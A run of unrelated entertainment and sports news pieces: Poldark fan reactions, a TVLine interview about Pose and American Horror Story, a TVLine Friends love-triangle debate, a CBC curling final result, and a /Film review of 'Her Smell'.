I do not want it to end forever. Duality of feelings. How will we do without Poldark ???” a third wondered. While a fourth cried: “You’re killing me @PoldarkTV can’t believe this is the last ever series btw it looks brilliant!” “I haven’t felt this excited in a long time…and yet I know come the end of the series, I will be inconsolable,” a fifth shared. Others speculated on what other tidbits the video has hinted at for the next several episodes. “Is that Demelza running in the dark not long after the explosion? I think it’s her..” one person guessed. Another wondered: “Is Ross carrying Valentine out of a cave???” Recently, actor Aidan Turner spoke out about whether he would return to the series years in the future to finish off Winston Graham’s books. Poldark season five returns to BBC One this month.
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TVLINE | From your poignant Pose sendoff to joining American Horror Story, this has been a huge year for you. Have you been able to sit back and soak it all in?
[Laughs] I don’t know. I’m just getting used to being able to respond in the moment to whatever’s going on. A lot of what’s at the base of how I respond and show up to things is my spiritual practice. As a Buddhist, we look at the middle way. Even when I was filming Pose, it was a great experience, but while I was filming this show, the numbers were climbing of trans women that were being murdered. And here I was playing out Candy’s demise on set. So it’s a lot to deal with. What I’ve learned is that you have to take care of yourself in such a way that you can show up as much as you possibly can for every single thing. So I’m trying not to get caught up in the wins or the losses, but just trying to do my best in the moment.
It’s what I’ve had to develop. There’s such a responsibility in this moment, both behind and in front of the camera, for visibility and representation. I’m just excited and looking for every opportunity. Sometimes it’s leading with a trans narrative, and sometimes — like on American Horror Story — it’s not. It’s showing that I can play a character who’s just part of the fabric of our society.
It’s meant the world. It’s been such a wild affirmation. I’m a theater kid who grew up doing plays and musical theater, and when I transitioned, I thought I was going to have to give up my dreams. Especially with the way society and the entertainment industry dealt with trans people, not only in how they told our stories, but also in locking us out of the process of telling those stories. It has meant the world to me to have someone like Ryan Murphy — who’s not only so talented, but also recognizes talent — to see me. I feel that him seeing me has helped me become the actor I know that I am. The audience has also been responding to the acting. I think I’ve seen one comment about me being trans. Someone said something off-putting on one of my Instagram posts, and one of the American Horror Story fan accounts basically said, “That won’t be happening here. We’ve got your back.” That gave me a lot of hope that we’re changing the culture in ways people aren’t expecting.
TVLINE | When you were cast and found out that this season was going to be a slasher, what were your first thoughts?
One of my first thoughts was definitely, “Well, there’s me and there’s DeRon [Horton].” So when DeRon went first, I was like, “I made it! I’m still here.” The fact that I made it this long is fun and historic. It’s like when people watch American Idol; they want to see themselves and root for someone that gives them the feeling that they could make it, too. Since Donna has made it this far, maybe the viewers at home are like, “I would have made it too, girl!” To bring that energy to this has been so fun.
I was told to expect a lot of hard work, and I was not disappointed. There are already so many moving parts, so when you add special effects and blood rigs and scars, it’s a lot of work. I’m so grateful for this process. This show has definitely pushed me to the point where I was like, “I’m breaking down.” It has really stretched me as an actor. I can scream, I can run, I can do muddy fight scenes — all these things I never thought I could do.
Donna did not want Brooke to go back alone. You could see her kicking herself. Like, she made it out. Why would she go back? Donna’s intentions were clear from the beginning. She understands that you have to break a few eggs to make an omelette.
[Laughs] Oh, who hasn’t lied? Let me tell you something a pastor once told me a long time ago: When I got my driver’s license, I had it say “female” before I had any documentation. It was my truth. It’s how I see myself, and it’s how I believe my creator sees me. Just because other people don’t see it that way, that’s their problem. So Donna has had to manipulate and move around people’s lack of understanding of what her intentions and final thesis and objectives are. I can’t say that I can justify everything she’s done.
I have not seen that season, and let me tell you why. Coven is my favorite, I’ve also seen Murder House, Apocalypse and Freak Show. But this whole process has been baby steps for me. I’m a scaredy cat who can’t do horror, so it took me a while just to get past the font and the music in the first two seconds when you hit play. I heard that and I stopped it. I tried again the next week, and I got to where the trees and the house come in. It was that slow for me. I know I definitely have to see it, though, especially since I lived there.
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At first, Rachel didn’t feel the same way about Joey. She told him as much during their memorable faux-date. But all that changed in Season 9, when Rachel developed a bit of a crush on her actor friend. They finally got together during a trip to Barbados, but their relationship (if you can even call it that) proved short-lived. They were broken up within three episodes, and their time as more than friends was never to be spoken of again.
While many Ross/Rachel ‘shippers would agree that Rachel and Joey’s fleeting fling is best forgotten, we’re willing to bet that there are a few of you who would have liked to see Rachel wind up with her longtime roomie. With that in mind, TVLine is looking back at both couples with new eyes to settle things once and for all: Did Rachel really make the right choice?
THE CASE FOR JOEY | Regardless of how you (or Good Place architect Michael) felt about this late-in-run development, you can’t deny the obvious: Joey was very much in love with Rachel. His feelings were nothing if not pure, born from an eight-year friendship that evolved once he took her in as a roommate. The twosome became the best of friends, and he was there for her every step of the way while she was pregnant with another man’s baby. He even allowed her and baby Emma to move back in with him when things didn’t work out over at Ross’ place.
And let’s face it: It’s not easy defending Ross (though we’ll attempt to do so momentarily). Ross was always possessive of Rachel, even when they weren’t an item. Take, for instance, when he “banned” her from seeing other men while they were living together and raising Emma, or when he went behind her back and tried to convince her boss at Ralph Lauren to give her a second chance, just so she wouldn’t take an amazing opportunity in Paris. And remember how he nearly derailed her then-fledgling career at Bloomingdale’s, just because he was jealous of Mark? Or when he actually derailed her career when he convinced her to get off the plane? Lest we forget, he also lied to her about getting their marriage annulled after their drunken wedding in Vegas (#Creepy). We can also go all the way back to the beginning and remind you of that icky pros-and-cons list.
THE CASE FOR ROSS | There’s something to be said for soulmates — or, in the case of Ross and Rachel, lobsters. Ross was enamored with sister Monica’s BFF from the moment he first laid eyes on her back in high school. It took Rachel at least a decade before she shared those feelings — but once she had them, they never really went away. That’s why she was willing to take Ross back, albeit ever-so-briefly, after their Season 3 break-up. (If only he had read all 18 pages of that letter — “front and back!”)
It’s also worth noting that some of Ross’ aforementioned behavior seemed… perfectly acceptable at the time! And let’s not pretend that Rachel was completely innocent. She did, after all, fly to London in hopes of putting a stop to his wedding to Emily. And even though she ultimately kept quiet, her very presence caused Ross to blurt out the wrong name at the altar.
Who do you think was Rachel’s better match? Cast your vote via the following poll, then hit the comments to back up your choice!
More of TV’s Hottest Love Triangles:
Good Trouble — Gael vs. Jamie
Smallville — Lois vs. Lana vs. Chloe
Saved by the Bell — Zack vs. Slater
Jane the Virgin — Rafael vs. Michael
Younger — Charles vs. Josh
Veronica Mars — Logan vs. Piz
The Vampire Diaries — Stefan vs. Damon
Felicity — Ben vs. Noel
True Blood — Bill vs. Eric
Beverly Hills, 90210 — Brenda vs. Kelly
Dawson’s Creek — Pacey vs. Dawson
General Hospital — Sonny vs. Jax
Gilmore Girls — Jess vs. Logan
Lost — Jack vs. Sawyer
One Tree Hill — Brooke vs. Peyton
Sex and the City — Aidan vs. Big
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Ross Paterson outlasted fellow Scot Bruce Mouat in the men's final of the Grand Slam of Curling National event in Conception Bay South, N.L. on Sunday.
Paterson scored a single in the ninth end for a 4-3 victory and his first Grand Slam title.
"It hasn't quite sunk in yet," a teary Paterson told CBC Sports' Devin Heroux. "I'm a bit emotional thinking about it. I think some people were skeptical about us at the start and maybe didn't give us too much of a chance but we believe in ourselves."

Team Paterson celebrates their 4-3 win over Team Mouat in the men's final of the National on Sunday in Conception Bay South, N.L. (Jeffrey AU/World Curling Federation)
The National concludes later Sunday with the women's final between Rachel Homan and Kerri Einarson.
Follow Devin Heroux live from Conception Bay South, N.L.:
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We see Elisabeth Moss’ punk musician Becky Something rock out on stage before we ever hear her talk or watch her terrorize her entourage. It’s a simple yet important introductory gesture from writer/director Alex Ross Perry to kick off Her Smell. The song establishes the character’s performative flair prior to launching headfirst into the maelstrom she unleashes, providing crucial understanding for why her “business family” stands by her. Addicts, particularly talented ones, can draw people in with the allure of the very same narcissism that will later repel them.
Perry’s film, depicting five one-location scenes playing out in apparent real-time, recalls a more theatrical structure than a filmic one – Shakespearean, even, if you’re inclined to believe the film’s introduction at the New York Film Festival. The first three scenes comprise something of a “pre-intermission” first act with Moss’ Becky nearing total implosion under the weight of artistic frustration, substance abuse and general vanity. Cinematographer Sean Price Williams restlessly follows her as well as the coterie of bandmates, family members and other executives who manage to withstand her toxicity. It is they who manage to keep the entire group, Something She, from total combustion.
Yet nothing about this tightly wound backstage drama feels overly stagey. Perry’s creation is wholly cinematic making full use of the intimacy and claustrophobia that films provide so well. Her Smell gives Damien Chazelle’s First Man a serious run for its money as the fall festival film most likely to cause motion sickness with its furious camera movements and jarring editing. It’s all amplified by top-notch sound design that plants a low rumble underneath Becky’s reign of terror, like a brewing thunderstorm that’s about to unleash all hell on everyone below.
None of the bravura filmmaking would have the same stinging impact were it not for Elisabeth Moss. Her fierce, tormented performance is not afraid to lean into her bandmate Mari’s (Agyness Deyn) description of Becky – to know her is to come to hate her. It’s not your average self-destructive character, in part because Moss plays Becky with such propulsive energy that she remains blithely unaware of the damage left behind on her war path. Becky does not exist on some arbitrary continuum of “likeable” and “unlikeable” because Moss blows up that spectrum altogether. She simply charges forward the only way her character knows how and lets the trail of tears and blood speak for itself.
It seems a bit beside the point to speculate about whether or not Moss played Becky with sympathy because it’s not what Alex Ross Perry aims for in Her Smell – at least, not explicitly. Compassion for Becky comes as an organic byproduct of the honest in Moss’ portrayal. We have to see her at rock bottom to fully feel the film’s “post-intermission” second act as Becky claws her way toward redemption and recovery. The pivot from visceral to emotional works as well as it does because Moss captures the full range of experience her character endures.
In one of the film’s most affecting moments, Perry pushes the camera in slowly on Becky’s face as she watches a group of her acolytes perform in front of her. In the shot, Moss shows amusement, jealousy, anger, resentment – a full battery of contradictory sensations she won’t let herself slow down to sort out. Only when Becky begins to take a step back from the chaos of her life, even going so far as to refer to herself in third person so she can separate person from persona, can she take proper emotional inventory of her life. From this vantage point, she can finally appreciate the enormity of sacrifices made by everyone from her bandmates to her ex (Dan Stevens) to her manager (Eric Stoltz).
To Alex Ross Perry’s credit, this portion of Her Smell never reeks of cheap sentimentality, which is especially remarkable given the cynicism of his previous downbeat dramedies. It’s a fully authentic conclusion to a story of a prodigious musician’s precipitous fall and subdued rebirth. Great talents attract good people into their orbit, and those supporters do not simply fall out when the going gets tough. Accomplished musicians endure thanks to the resilience of their boosters.
/Film rating: 8.5 out of 10
The post ‘Her Smell’ Review: Alex Ross Perry’s Elisabeth Moss-Starring Punk Movie Smacks of Greatness [NYFF] appeared first on /Film.
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